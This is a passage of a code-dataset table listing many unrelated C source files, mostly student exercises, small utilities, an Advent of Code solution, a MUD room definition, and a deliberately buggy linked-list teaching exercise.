language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
|---|---|
C
|
#include <setjmp.h>
#include <stdio.h>
static jmp_buf buf;
static int mul(int depth)
{
int i=0;
if (depth == 0 && setjmp(buf)) {
printf("Return final depth: %d\n",depth);
return 0;
}
else{
switch (scanf("%d", &i)) {
case -1 :
printf("Ok\n");
return 1; /* neutral element */
case 0 :
printf("Ok\n");
return mul(depth+1); /* erroneous read */
case 1 :
printf("Ok %d\n",i);
if (i){
if (i == 1){
printf("Return depth: %d\n",depth);
return 1;
}
else
{
printf("Return depth: %d\n",depth);
return i * mul(depth+1);
}
}
else
{
printf("Return depth: %d\n",depth);
longjmp(buf,~0);
return 0;
}
}
}
}
int main()
{
int product;
printf("A list of int, please\n");
product = mul(0);
printf("product = %d\n", product);
}
|
C
|
#include "head.h"
int menu() {
system("cls");
printf("==========================================\n");
printf("Yeon's ýۿ Ű ȯմϴ.\n");
printf("==========================================\n");
printf(" Ͻÿ.\n");
printf("1. \n");
printf("2. ֹ\n");
printf("3. \n");
printf("==========================================\n");
printf(">");
scanf_s("%d", &menuCode);
if(menuCode == 1){
while(menuCode != 5) {
menuCode = stockManagement();
}
}else if(menuCode == 2){
while (menuCode != 4) {
menuCode = orderManagement();
}
}else if(menuCode == 3){
return 3;
}
}
|
C
|
/*
============================================================================
Name : Advent_2020_Day_13.c
Author :
Version :
Copyright : Your copyright notice
Description : Hello World in C, Ansi-style
============================================================================
*/
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <stdlib.h>
int main(void) {
FILE* filePtr;
int fileSize;
char* fileData;
int lineNumber;
int checkSize;
int errorFlag = 0;
int answerValue = 0;
char answer[10] = { '\0' };
int i;
#define nodoTest
#ifdef doTest
if (NULL == (filePtr = fopen("testInput.txt"
, "r"))) {
#else
if (NULL == (filePtr = fopen("actualInput.txt"
, "r"))) {
#endif
puts("No File Open Joy"); errorFlag = 1;
}
else {
fseek(filePtr
, 0
, SEEK_END);
fileSize = ftell(filePtr);
fseek(filePtr
, 0
, SEEK_SET);
if (NULL == (fileData = malloc(fileSize + 3))) {
puts("No Malloc Joy"); errorFlag = 1;
}
else {
if (!(checkSize = fread(fileData
, sizeof(char)
, fileSize
, filePtr))) {
puts("No Read Joy"); errorFlag = 1;
}
else {
if ('\n' != fileData[checkSize - 1]) {
fileData[checkSize++] = '\n';
}
fileData[checkSize] = '\0';
for (i = lineNumber = 0; '\0' != fileData[i];) {
for (; '\n' != fileData[i]; ++i) { }
++lineNumber; ++i;
}
//todo: Put in Data Process code
int earliestDepart;
int busArraySize;
int currentClosest;
int currentBest = 0x7FFFFFFF;
int* busArray;
int* timeArray;
for (i = earliestDepart = 0; '\n' != fileData[i]; ++i) {
earliestDepart = (earliestDepart * 10) + fileData[i] - '0';
}
busArray = malloc(sizeof(int) * (checkSize - i));
timeArray = malloc(sizeof(int) * (checkSize - i));
for (++i, busArraySize = 0; '\0' != fileData[i];) {
if ('x' == fileData[i]) {
i += 2;
}
else {
for (busArray[busArraySize] = 0; ('\n' != fileData[i]) && (',' != fileData[i]); ++i) {
busArray[busArraySize] = (busArray[busArraySize] * 10) + fileData[i] - '0';
}
++busArraySize; ++i;
}
}
for (i = currentClosest = 0; (busArraySize + 0) > i; ++i) {
for (timeArray[i] = 0; (earliestDepart + 0) > timeArray[i]; timeArray[i] += busArray[i]) { }
int currentTime = timeArray[i];
if ((timeArray[i] - earliestDepart) < (currentBest - earliestDepart)) {
currentBest = timeArray[currentClosest = i];
}
}
answerValue = (timeArray[currentClosest] - earliestDepart) * busArray[currentClosest];
free(timeArray);
free(busArray);
}
free(fileData);
}
fclose(filePtr);
}
if (!errorFlag) {
if (!answerValue) {
answer[i = 8] = '0';
}
else {
for (i = 8; answerValue; --i, answerValue /= 10) {
answer[i] = (answerValue % 10) + '0';
}
++i;
}
printf("\n%s"
, &answer[i]);
}
return EXIT_SUCCESS;
}
|
C
|
#include <stdio.h>
int main(void){
char s[4];
int value=700;
scanf("%s",s);
if(s[0]=='o') value+=100;
if(s[1]=='o') value+=100;
if(s[2]=='o') value+=100;
printf("%d\n",value);
return 0;
} ./Main.c: In function main:
./Main.c:5:2: warning: ignoring return value of scanf, declared with attribute warn_unused_result [-Wunused-result]
scanf("%s",s);
^
|
C
|
#include "queue.h"
struct Customer{
int window;
unsigned int time;
};
int bestWindow(Queue<Customer> windows[],int nWin);
void simulate(int nWin, int servTime)
{
Queue<Customer>* windows = new Queue<Customer>[nWin];
for(int now = 0;now < servTime;now++){
if(rand() % (1 + nWin)){
Customer c;
c.time = 1 + rand() % 98;
c.window = bestWindow(windows, nWin);
windows[c.window].enqueue(c);
}
for(int i = 0; i < nWin; i++){
if( !windows[i].empty()){
if(--windows[i].front().time <= 0){
windows[i].dequeue();
}
}
}
}
delete [] windows;
}
int bestWindow(Queue<Customer> windows[],int nWin)
{
int miniSize = windows[0].size();
int optWin = 0;
for( int i = 1; i < nWin;i++){
if(miniSize > windows[i].size()){
miniSize = windows[i].size();
optWin = i;
}
}
return optWin;
}
|
C
|
#include "includes.h"
#include "string.h"
#include "app_cfg.h"
#include "delay.h"
#include "debug.h"
#include "led_task.h"
OS_TCB LED_TASK_TCB;
CPU_STK LED_TASK_stk[LED_TASK_STK_SIZE];
uint8_t Led_Mode = HAL_LED_MODE_FLASH_SLOW;
void LED_Init(void)
{
GPIO_InitTypeDef GPIO_InitStructure;
/* GPIOD Periph clock enable */
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB, ENABLE);
/* Configure PC13 in output pushpull mode */
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_1 ;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP;
GPIO_Init(GPIOB, &GPIO_InitStructure);
LED1(OFF);
}
void HalLedSet(uint8_t mode)
{
Led_Mode = mode;
//DBG_INFO("set Led mode=0x%X\n", Led_Mode);
}
/* led task function */
void Led_Task(void *p_arg)
{
OS_ERR err;
uint8_t i;
OSTimeDlyHMSM(0, 0, 3, 0,OS_OPT_TIME_HMSM_STRICT,&err);
while(1)
{
//DBG_INFO("Led mode=0x%X\n", Led_Mode);
switch (Led_Mode)
{
case HAL_LED_MODE_OFF:
LED1(OFF);
for(i = 0; i < 4; i++)
{
if(Led_Mode != HAL_LED_MODE_OFF)
{
break;
}
OSTimeDlyHMSM(0, 0, 0, 250,OS_OPT_TIME_HMSM_STRICT,&err);
}
break;
case HAL_LED_MODE_ON:
LED1(ON);
for(i = 0; i < 4; i++)
{
if(Led_Mode != HAL_LED_MODE_ON)
{
break;
}
OSTimeDlyHMSM(0, 0, 0, 250,OS_OPT_TIME_HMSM_STRICT,&err);
}
break;
case HAL_LED_MODE_FLASH_SLOW:
LED1(OFF);
for(i = 0; i < 4; i++)
{
if(Led_Mode != HAL_LED_MODE_FLASH_SLOW)
{
break;
}
OSTimeDlyHMSM(0, 0, 0, 250,OS_OPT_TIME_HMSM_STRICT,&err);
}
if(Led_Mode == HAL_LED_MODE_FLASH_SLOW)
{
LED1(ON);
for(i = 0; i < 8; i++)
{
if(Led_Mode != HAL_LED_MODE_FLASH_SLOW)
{
break;
}
OSTimeDlyHMSM(0, 0, 0, 250,OS_OPT_TIME_HMSM_STRICT,&err);
}
}
break;
case HAL_LED_MODE_FLASH_FAST:
LED1(OFF);
OSTimeDlyHMSM(0, 0, 0, 100,OS_OPT_TIME_HMSM_STRICT,&err);
LED1(ON);
OSTimeDlyHMSM(0, 0, 0, 100,OS_OPT_TIME_HMSM_STRICT,&err);
break;
default:
break;
}
}
}
|
C
|
#include <stdio.h>
float przelicz(float w_dolarach);
main()
{
float dolary,funty;
printf("podaj kwote w dolarach\n");
scanf("%f",&dolary);
funty=przelicz(dolary);
printf("%f $ to %.2f funta/funtow\n",dolary,funty);
}
float przelicz(float w_dolarach)
{
return w_dolarach/1.98;
}
|
C
|
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
void main()
{
int num,d[50],count=0,i;
printf("Enter a number: ");
scanf("%d",&num);
if(num!=1)
{
printf("Factors of %d are: ",num);
for(i=1;i<=num;i++)
{
if(num%i==0)
{
count++;
d[count]=i;
printf("%d",d[count]);
if(i==num)
{
printf(".");
}
else
{
printf(", ");
}
}
}
}
else
{
printf("1 is neither prime nor composite.");
exit(0);
}
if(count==2 && d[1]==1 && d[count]==num)
{
printf("\n%d is prime.",num);
}
else
{
printf("\n%d is not prime.",num);
}
_getch();
}
|
C
|
/*
* Write a program that accepts a positive integer as input and then displays
* all the prime numbers smaller than or equal to that number.
*/
#include <stdio.h>
int isprime(int i)
{
for (int j = 2; j * j <= i; j++)
{
if (i % j == 0)
return 0;
}
return 1;
}
int main (void)
{
unsigned int num;
printf("Enter a positive integer: ");
scanf("%d", &num);
printf("Primes <= %d: \n", num);
for (int i = 2; i < num; i++)
{
if (isprime(i))
printf("%d ", i);
}
printf("\n");
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
struct huffman{
char deger;
int tekrar;
int toplandiMi;
struct huffman* next;
struct huffman* left;
struct huffman* right;
};
struct huffman* start=NULL;
struct huffman* temp;
struct huffman* temp2;
struct huffman* dugumOlustur(char harf, int T){
struct huffman* yeni=(struct huffman*)malloc(sizeof(struct huffman));
yeni->deger=harf;
yeni->tekrar=T;
yeni->toplandiMi=0;
yeni->next=NULL;
yeni->left=NULL;
yeni->right=NULL;
return yeni;
}
/*struct huffman* toplamDugumOlustur(struct huffman* birinci, struct huffman* ikinci, int T){
struct huffman* yeni=(struct huffman*)malloc(sizeof(struct huffman));
yeni->tekrar=T;
yeni->toplandiMi=0;
yeni->deger=NULL;
yeni->next=NULL;
yeni->left=birinci;
yeni->right=ikinci;
return yeni;
}*/
void ekle(char harf, int T){
struct huffman* eklenecek = dugumOlustur(harf, T);
if(start==NULL){
start=eklenecek;
}
else{
if(T<start->tekrar){
eklenecek->next=start;
start=eklenecek;
}
else{
temp=start;
while(temp->next!=NULL){
if(T>=(temp->tekrar)){
temp2=temp;
}
temp=temp->next;
}
eklenecek->next=temp2->next;
temp2->next=eklenecek;
if(T>=(temp->tekrar)){
temp->next=eklenecek;
eklenecek->next=NULL;
}
}
}
}
/*void toplamEkle(struct huffman* birinci, struct huffman* ikinci, int T){
struct huffman* eklenecek = toplamDugumOlustur(birinci,ikinci,T);
if(start==NULL){
start=eklenecek;
}
else{
if(T<start->tekrar){
eklenecek->next=start;
start=eklenecek;
}
else{
temp=start;
while(temp->next!=NULL){
if(T>=(temp->tekrar)){
temp2=temp;
}
temp=temp->next;
}
eklenecek->next=temp2->next;
temp2->next=eklenecek;
if(T>=(temp->tekrar)){
temp->next=eklenecek;
eklenecek->next=NULL;
}
}
}
}*/
void yazdir(){
temp=start;
while(temp!=NULL){
printf("%c-->%d\n",temp->deger,temp->tekrar);
temp=temp->next;
}
}
/*int say(){
int sayac=0;
temp=start;
while(temp!=NULL){
sayac++;
temp=temp->next;
}
return say;
}*/
/*void huffmanKodlama(int S){
int sayac=0;
int sayacTut=0;
int toplam;
for(int p=S;p<2;p--){
temp=start;
while(temp->next!=NULL){
if(temp->toplandiMi==0 && temp->next->toplandiMi==0){
temp2=temp->next;
toplam=temp->tekrar+temp2->tekrar;
toplamEkle(temp,temp2,toplam);
temp->toplandiMi=1;
temp2->toplandiMi=1;
}
if(temp->toplandiMi==0){
sayac++;
}
temp=temp->next;
}
sayacTut=sayac;
sayac=0;
}
}*/
int main()
{
FILE *dosya = fopen("metin.txt","r");
if(dosya==NULL){
printf("Dosya bulunamadi.. \n");
return 0;
}
FILE *output = fopen("output.txt","w");
if(output==NULL){
printf("Dosya acilamadi.");
}
char *sag;
sag=(char*)malloc(sizeof(char));
char *sol;
sol=(char*)malloc(sizeof(char));
char *huffman;
huffman=(char*)malloc(sizeof(char));
int huffmanTut=1;
char c;
int N=1;
int I=0;
while(!feof(dosya)){
c=fgetc(dosya);
sag=(char*)realloc(sag,N*sizeof(char));
sag[I]=c;
I++;
N++;
}
fclose(dosya);
int A=1;
int J=0;
int ilk=0;
int eslesme=0;
int benzerlik=0;
int uzaklik;
int yok=0;
int tutB;
int u=0;
printf("lz77 algoritmasi ciktisi:\n");
int k=0;
while(k<(I-1)){
if(ilk==0){
printf("[0,0,C(%c)]\n",sag[k]);
fprintf(output,"[0,0,C(%c)]\n",sag[k]);
huffman=(char*)realloc(huffman,huffmanTut*sizeof(char));
huffman[u]=sag[k];
ilk++;
huffmanTut++;
u++;
}
else{
for(int x=0;x<J;x++){
if(sol[x]==sag[k] && eslesme==0){
yok++;
eslesme++;
uzaklik=J-x;
int a=x;
int b=k;
while(sol[a]==sag[b]){
benzerlik++;
a++;
b++;
}
tutB=benzerlik;
printf("[%d,%d,C(%c)]\n",uzaklik,benzerlik,sag[k+benzerlik]);
fprintf(output,"[%d,%d,C(%c)]\n",uzaklik,benzerlik,sag[k+benzerlik]);
huffman=(char*)realloc(huffman,huffmanTut*sizeof(char));
huffman[u]=sag[k+benzerlik];
u++;
huffmanTut++;
}
}
if(yok==0){
printf("[0,0,C(%c)]\n",sag[k]);
fprintf(output,"[0,0,C(%c)]\n",sag[k]);
huffman=(char*)realloc(huffman,huffmanTut*sizeof(char));
huffman[u]=sag[k];
u++;
huffmanTut++;
}
benzerlik=0;
eslesme=0;
yok=0;
}
if(tutB>0){
A=A+tutB;
sol=(char*)realloc(sol,A*sizeof(char));
int d=k;
for(int z=0;z<tutB+1;z++){
sol[J]=sag[d];
J++;
d++;
}
A++;
k+=tutB+1;
}
else{
sol=(char*)realloc(sol,A*sizeof(char));
sol[J]=sag[k];
J++;
A++;
k++;
}
tutB=0;
}
printf("\n\nKodun sikistirilmis hali: \n");
fprintf(output,"\n\nKodun sikistirilmis hali: \n");
for(int a=0;a<u;a++){
printf("%c", huffman[a]);
fprintf(output,"%c", huffman[a]);
}
printf("\n\n");
free(sag);
free(sol);
int m,n;
int harfinTekrari=0;
int karakterSayisi=strlen(huffman)-1;
printf("sikistirilmis haldeki her karakterin tekrar sayisi:\n");
for(m=0;m<karakterSayisi;m++){
harfinTekrari++;
for(n=m+1;n<karakterSayisi;n++){
if(huffman[m]==huffman[n] && huffman[n]!=0){
harfinTekrari++;
huffman[n]=0;
}
}
if(huffman[m]!=0){
printf("%c:%d\n",huffman[m],harfinTekrari);
char H= huffman[m];
ekle(H,harfinTekrari);
}
harfinTekrari=0;
}
printf("\n\n");
printf("sikistirilmis haldeki her karakterin tekrar sayisinin siralanmis hali:\n");
yazdir();
fclose(output);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
float cent=5;
float alv;
alv=9.0/5.0*cent+32;
printf("%f\n",alv);
system("PAUSE");
return 0;
}
|
C
|
#include <std.h>
#include "../keep.h"
inherit KEEP;
void create() {
::create();
set_short("%^YELLOW%^Keep Blacktongue%^RESET%^");
set_long("This is the eastern part of the Keep. To the west of you are "+
"the ruins of an alchemist shop. A wooden %^YELLOW%^sign%^RESET%^ has been planted in the "+
"ground next to the entrance of it. To the east of you is a guard tower. The "+
"%^CYAN%^cobblestone path%^RESET%^ you are traveling on continues to the north "+
"and the south.%^RESET%^");
set_exits(([
"west" : KEEPR + "magic",
"east" : KEEPR + "towerE1",
"south" : KEEPR + "keepE3",
"north" : KEEPR + "keepE5"
] ));
set_items(([
({"path","cobblestone path"}) : "%^CYAN%^This path serves as a walkway within the keep. It is in remarkably good shape.%^RESET%^",
({"sign","wooden sign"}) : "%^YELLOW%^The alchemist shop is now closed, under order of Lord Hawk.%^RESET%^",
] ));
}
|
C
|
#define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward declarations */
/* Type definitions */
struct curl_slist {char* data; struct curl_slist* next; } ;
typedef scalar_t__ CURLcode ;
typedef int /*<<< orphan*/ CURL ;
/* Variables and functions */
scalar_t__ CURLE_OK ;
int /*<<< orphan*/ CURLINFO_COOKIELIST ;
scalar_t__ curl_easy_getinfo (int /*<<< orphan*/ *,int /*<<< orphan*/ ,struct curl_slist**) ;
char* curl_easy_strerror (scalar_t__) ;
int /*<<< orphan*/ curl_slist_free_all (struct curl_slist*) ;
int /*<<< orphan*/ exit (int) ;
int /*<<< orphan*/ fprintf (int /*<<< orphan*/ ,char*,char*) ;
int /*<<< orphan*/ printf (char*,...) ;
int /*<<< orphan*/ stderr ;
__attribute__((used)) static void
print_cookies(CURL *curl)
{
CURLcode res;
struct curl_slist *cookies;
struct curl_slist *nc;
int i;
printf("Cookies, curl knows:\n");
res = curl_easy_getinfo(curl, CURLINFO_COOKIELIST, &cookies);
if(res != CURLE_OK) {
fprintf(stderr, "Curl curl_easy_getinfo failed: %s\n",
curl_easy_strerror(res));
exit(1);
}
nc = cookies;
i = 1;
while(nc) {
printf("[%d]: %s\n", i, nc->data);
nc = nc->next;
i++;
}
if(i == 1) {
printf("(none)\n");
}
curl_slist_free_all(cookies);
}
|
C
|
#include <stdint.h>
#include <stdlib.h>
#include "boardset.h"
static union boardset_node *alloc_node(bool is_leaf) {
union boardset_node *node = malloc(sizeof(union boardset_node));
if (is_leaf) {
node->l[0] = false;
node->l[1] = false;
}
else {
node->b[0] = NULL;
node->b[1] = NULL;
}
return node;
}
boardset_t new_boardset() {
boardset_t boardset = malloc(sizeof(struct boardset));
boardset->num_boards = 0;
boardset->root = alloc_node(false);
return boardset;
}
void boardset_add(boardset_t boardset, board_t board) {
union boardset_node *node = boardset->root;
for (int i = 0; i < 32; ++i, board = (board >> 1)) {
bool b = (board & 1);
if (!node->b[b]) {
node->b[b] = alloc_node(i == 31);
}
node = node->b[b];
}
if (!(node->l[board & 1])) {
boardset->num_boards++;
node->l[board & 1] = true;
}
}
static void iter_node(
int level, board_t partial,
union boardset_node *node,
void (f) (void *, board_t),
void *param
) {
if (level == 32) {
if (node->l[0]) f(param, partial);
if (node->l[1]) f(param, partial | (1ll << level));
return;
}
if (node->b[0]) {
iter_node(level + 1, partial, node->b[0], f, param);
}
if (node->b[1]) {
iter_node(level + 1, partial | (1ll << level), node->b[1], f, param);
}
}
void boardset_iter(boardset_t boardset, void (f) (void *, board_t), void *param) {
iter_node(0, 0, boardset->root, f, param);
}
static void free_node(int level, union boardset_node *node) {
if (!node) return;
if (level != 32) {
free_node(level + 1, node->b[0]);
free_node(level + 1, node->b[1]);
}
free(node);
}
void boardset_free(boardset_t boardset) {
free_node(0, boardset->root);
free(boardset);
}
|
C
|
#include <stdio.h>
int main(void) {
// your code goes here
int H,W,h,w;
scanf("%d %d %d %d", &H, &W, &h, &w);
printf("%d", H*W-h*W-w*(H-h));
return 0;
} ./Main.c: In function main:
./Main.c:6:2: warning: ignoring return value of scanf, declared with attribute warn_unused_result [-Wunused-result]
scanf("%d %d %d %d", &H, &W, &h, &w);
^
|
C
|
#include <stdio.h>
int main()
{
// 将输出的前面补上0,直到占满指定列宽为止
int a = 4;
printf("%02d", a); // 输出:04
// 也可以用 * 代替位数,在后面的参数列表中用变量控制输出位数
int b = 4;
int n = 3;
printf("%0*d", n, b); // 输出:004
return 0;
}
|
C
|
/*
* Implementation of 'dlist,' a simple doubly linked list.
* This version of the program has memory leak issues
* and segmentation fault issues. Students are supposed
* to fix these problems with the tools of 'gdb' and
* 'Valgrind'.
*
* Xiannong Meng
* 2015-12-07
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "dlist.h"
/*
* Creates an empty list.
*
* Parameters: none.
* Return: created list with head == tail == null.
*/
struct dlist * dlist_create() {
struct dlist * new_list;
new_list = (struct dlist *)malloc(sizeof(struct dlist));
new_list->head = NULL;
new_list->tail = NULL;
return new_list;
}
/*
* Insert a node into the list.
* The node and the list have been created.
*
* Parameters:
* a_node: the node to be inserted.
* the_list: the doubly linked to which the new node will be added.
*/
void dlist_insert(struct dnode * a_node, struct dlist * the_list) {
if (dlist_is_empty(the_list) == true) { // insert at the begin
the_list->head = a_node;
the_list->tail = a_node;
a_node->next = NULL;
a_node->prev = NULL;
} else { // insert at the end
the_list->tail->next = a_node;
a_node->prev = the_list->tail;
a_node->next = NULL;
the_list->tail = a_node;
}
}
/*
* Remove a node with specific value.
*
* Parameters:
* value_to_remove: specific value to remove
* the_list: the doubly linked list from which the node will be removed.
*/
void dlist_remove(char * value_to_remove, struct dlist * the_list) {
struct dnode * node_to_remove;
if (dlist_is_empty(the_list) == false) {
node_to_remove = the_list->head;
while (node_to_remove != NULL
&& strcmp(node_to_remove->word, value_to_remove) != 0) {
node_to_remove = node_to_remove->next;
} // end of while
if (node_to_remove != NULL) {
// remove the node
//node_to_remove->next->prev = node_to_remove->prev;
if(node_to_remove->prev == NULL) {
the_list->head = node_to_remove->next;
node_to_remove->next->prev = NULL;
}
if(node_to_remove->next == NULL) {
node_to_remove->prev->next = NULL;
}
if((node_to_remove->prev != NULL) && (node_to_remove->next != NULL)){
node_to_remove->prev->next = node_to_remove->next;
}
}
free(node_to_remove->word);
free(node_to_remove);
} // end of list not empty
}
/*
* Test if a list is empty.
*/
bool dlist_is_empty(struct dlist * the_list) {
return (the_list->head == NULL);
}
/*
* Traverse the list from begin to end, print all information.
*
* Parameters:
* a_list: the list to traverse.
*/
void dlist_traverse(struct dlist * a_list) {
struct dnode * ptr;
if (a_list == NULL)
return;
else {
ptr = a_list->head;
while (ptr != NULL) {
printf("%d %s\n", ptr->count, ptr->word);
ptr = ptr->next;
} // end of while
}
free(ptr);
}
/*
* make a new dnode with 'word' and 'count' as contents.
* initialize all links to be null.
*
* Parameters:
* word: the word to be stored in the node.
* count: the count value to be stored.
*
* Return: the newly created node with contents.
*/
struct dnode * make_node(char * word, int count) {
struct dnode * new_node = (struct dnode *)malloc(sizeof(struct dnode));
new_node->word = (char *)malloc(strlen(word) + 1);
strcpy(new_node->word, word);
new_node->count = count;
new_node->prev = new_node->next = NULL;
return new_node;
}
void freeSpace(struct dlist * the_list){
struct dnode *ptr;
struct dnode *ptr2;
if (the_list != NULL){
ptr = the_list->head;
while (ptr != NULL) {
ptr2 = ptr->next;
free(ptr->word);
free(ptr);
ptr = ptr2;
}
}
free(the_list);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <vffi_user.h>
//int setenv(const char *name, const char *value, int overwrite);
//int unsetenv(const char *name);
//char *getenv(const char *name);
//char *secure_getenv(const char *name);
vffiLine_t* c_getenv(vffiNaturalDimArr_t* name) {
assert(name != NULL);
char* name_str = vffiNullTerminatedString(name);
printf("c_getenv name : %p '%s' [%d]\n", name->data, name_str, strlen(name_str));
const char* s = getenv(name_str);
printf("%s :%s\n", name_str, (s!=NULL)? s : "getenv returned NULL");
return lineFromString(s);
}
|
C
|
#include <stdio.h>
#define MAXLENGTH 1000
int getline2(char [],int);
void copy(char [],char []);
void cleanline(char line[], int length);
int main()
{
int len = 0;
char line[MAXLENGTH];
while((len=getline2(line,MAXLENGTH))>0){
/* printf("%d\n",len); */
cleanline(line, len);
printf("%s", line);
}
return 0;
}
int getline2(char line[],int limit)
{
int i,c;
for(i=0;i<limit-1&&(((c=getchar())!=EOF)&&(c!='\n'));i++)
line[i]=c;
if(i==(limit-1)){
while((c=getchar())!='\n'){
++i;
}
}
if(c=='\n'){
line[i]=c;
++i;
}
line[i]='\0';
return i;
}
void copy(char to[],char from[])
{
int i=0;
while((to[i]=from[i])!='\0')
++i;
}
/* remove trailing tabs and blanks from line */
void cleanline(char line[], int length)
{
int i;
char current;
/* printf("%d\n", length); */
for (i = length-2; i > 0; i = i-1) {
if ((current=line[i]) != '\t' && current != ' '){
line[i+1] = '\n';
line[i+2] = '\0';
break;
/* printf("%d", i); */
}
}
}
|
C
|
#include "stdafx.h"
#include <stdio.h>
#include "tipos.h"
#include <stdlib.h>
#include <string.h>
#define NUMERO_ITEMS 7
#define OPCOES_MENU 5
void menu(void){
char *item_menu[OPCOES_MENU] = {"Criar", "Remover", "Listar", "Pesquisa Geral", "Pesquisa Personalizada"};
char *sub_item_menu[NUMERO_ITEMS] = {"Salas", "Espetaculos", "Reservas", "Espectadores",
"Salas por Nome", "Espectaculos por Nome e Numero", "Espectaculos de Sala ou Sessao numa Data"};
int escolha_menu, escolha_sub_menu;
for(;;){
imprimeCabecalho("\t Cinemas Lusofona\n");
imprimeMenu(item_menu, OPCOES_MENU, '1');
rewind(stdin);
escolha_menu = getchar();
switch(escolha_menu)
{
case '1':
system("CLS");
imprimeCabecalho("\t\t Criar\n");
imprimeMenu(sub_item_menu, 4, escolha_menu);
fflush(stdin);
escolha_sub_menu = getchar();
subMenu(escolha_menu, escolha_sub_menu);
fflush(stdin);
break;
case '2':
system("CLS");
imprimeCabecalho("\t\t Remover\n");
imprimeMenu(sub_item_menu, 4, escolha_menu);
rewind(stdin);
escolha_sub_menu = getchar();
subMenu(escolha_menu, escolha_sub_menu);
break;
case '3':
system("CLS");
imprimeCabecalho("\t\t Listar\n");
imprimeMenu(sub_item_menu, 4, escolha_menu);
rewind(stdin);
escolha_sub_menu = getchar();
subMenu(escolha_menu, escolha_sub_menu);
break;
case '4':
system("CLS");
imprimeCabecalho("\tPesquisa Geral\n");
imprimeMenu(sub_item_menu,4, escolha_menu);
rewind(stdin);
escolha_sub_menu = getchar();
subMenu(escolha_menu, escolha_sub_menu);
break;
case '5':
system("CLS");
imprimeCabecalho("\tPesquisa Personalizada\n");
imprimeMenu(sub_item_menu, 4, escolha_menu);
rewind(stdin);
escolha_sub_menu = getchar();
subMenu(escolha_menu, escolha_sub_menu);
break;
case '6':
exit(1);
break;
default :
break;
}
}
}
void subMenu(int escolha_menu, int escolha_sub_menu){
switch(escolha_sub_menu)
{
case '1':
break;
case '2':
break;
case '3':
break;
case '4':
leEspectador();
break;
case '5':
menu();
break;
}
}
void imprimeMenu(char **vct_menu, int tamanho, int escolha){
int i, indice = 1;
if(escolha == '1' || escolha == '2' || escolha == '3'){
for(i = 0; i < tamanho; i++, indice++){
printf("%d - %s\n", i + 1, vct_menu[i]);
}
}else{
for(i = tamanho; i < NUMERO_ITEMS; i++, indice++){
printf("%d - %s\n", indice, vct_menu[i]);
}
}
printf("%d - Sair\n", indice);
}
/*
*Imprime estrutura do cabealho, recebe apontador para caractere.
*/
void imprimeCabecalho(char *str){
char cabecalho_tmp[100] = "\t\t**CINELUSO**\n\n";
strcat(cabecalho_tmp,str);
system("CLS");
printf("<----------------------------------------->\n");
printf(cabecalho_tmp);
printf("<----------------------------------------->\n");
}
|
C
|
#include <stdio.h>
#include "malloc.h"
int main()
{
int *p, *p2, *p3;
p = calloc(1, 1000000);
p = realloc(p, 2000000);
p2 = calloc(1, 1000);
p3 = calloc(1, 100);
free(p2);
p3 = realloc(p3, 500);
p2 = malloc(600);
free(p);
free(p2);
free(p3);
printf("lel\n");
return 0;
}
|
C
|
/* BL_SLIST functions */
/*////////////////////*/
#include "bl_slist.h"
struct bl_slist_t {
size_t size;
struct bl_slist_elm {
void *data;
struct bl_slist_elm *next;
} *head;
};
bl_slist *bl_slist_new(void)
{
bl_slist *slist = malloc(sizeof(bl_slist)); /* might need to be "sizeof(struct bl_slist_t)" */
slist->size = 0;
slist->head = NULL;
return slist;
}
void bl_slist_push(bl_slist *slist, void *data)
{
struct bl_slist_elm *elm = malloc(sizeof(struct bl_slist_elm));
assert(slist);
elm->data = data;
elm->next = slist->head;
slist->head = elm;
slist->size++;
}
void bl_slist_add_sorted(bl_slist *slist, void *data, int (*cmp_func)(void *, void *))
{
struct bl_slist_elm *cur = NULL;
struct bl_slist_elm *elm = malloc(sizeof(struct bl_slist_elm));
int check = 1;
assert(slist);
elm->data = data;
elm->next = NULL;
cur = slist->head;
if(cur == NULL || (cmp_func)(elm->data, cur->data) < 0) {
elm->next = cur;
slist->head = elm;
} else {
for( ; cur->next != NULL; cur = cur->next) {
if((cmp_func)(elm->data, cur->next->data) < 0) {
elm->next = cur->next;
cur->next = elm;
check = 0;
break;
}
}
if(check == 1) {
cur->next = elm;
}
}
slist->size++;
}
void *bl_slist_pop(bl_slist *slist)
{
struct bl_slist_elm *tmp = NULL;
void *data = NULL;
assert(slist);
assert(slist->head);
tmp = slist->head;
slist->head = tmp->next;
data = tmp->data;
free(tmp);
slist->size--;
return data;
}
void *bl_slist_del(bl_slist *slist, void *data, int (*cmp_func)(void *, void *))
{
struct bl_slist_elm *cur = NULL;
struct bl_slist_elm *del = NULL;
void *del_data = NULL;
assert(slist);
assert(slist->head);
if((cmp_func)(data, slist->head->data) == 0) {
del = slist->head;
del_data = del->data;
slist->head = slist->head->next;
free(del);
slist->size--;
return del_data;
} else {
for(cur = slist->head; cur->next != NULL; cur = cur->next) {
if((cmp_func)(data, cur->next->data) == 0) {
del = cur->next;
del_data = cur->next->data;
cur->next = cur->next->next;
free(del);
slist->size--;
return del_data;
}
}
}
return NULL;
}
void **bl_slist_del_mult(bl_slist *slist, void *data, int (*cmp_func)(void *, void *))
{
void **arr = NULL;
void **tmp = NULL;
struct bl_slist_elm *cur = NULL;
struct bl_slist_elm *del = NULL;
size_t i = 0;
unsigned char head_check = 0;
assert(slist);
assert(slist->head);
arr = malloc((slist->size + 1) * sizeof(void *));
cur = slist->head;
if((cmp_func)(data, cur->data) == 0) {
arr[i] = cur->data;
head_check = 1;
i++;
}
while(cur->next != NULL) {
if((cmp_func)(data, cur->next->data) == 0) {
del = cur->next;
arr[i] = del->data;
i++;
cur->next = cur->next->next;
free(del);
slist->size--;
} else {
cur = cur->next;
}
}
if(head_check == 1) {
del = slist->head;
slist->head = slist->head->next;
free(del);
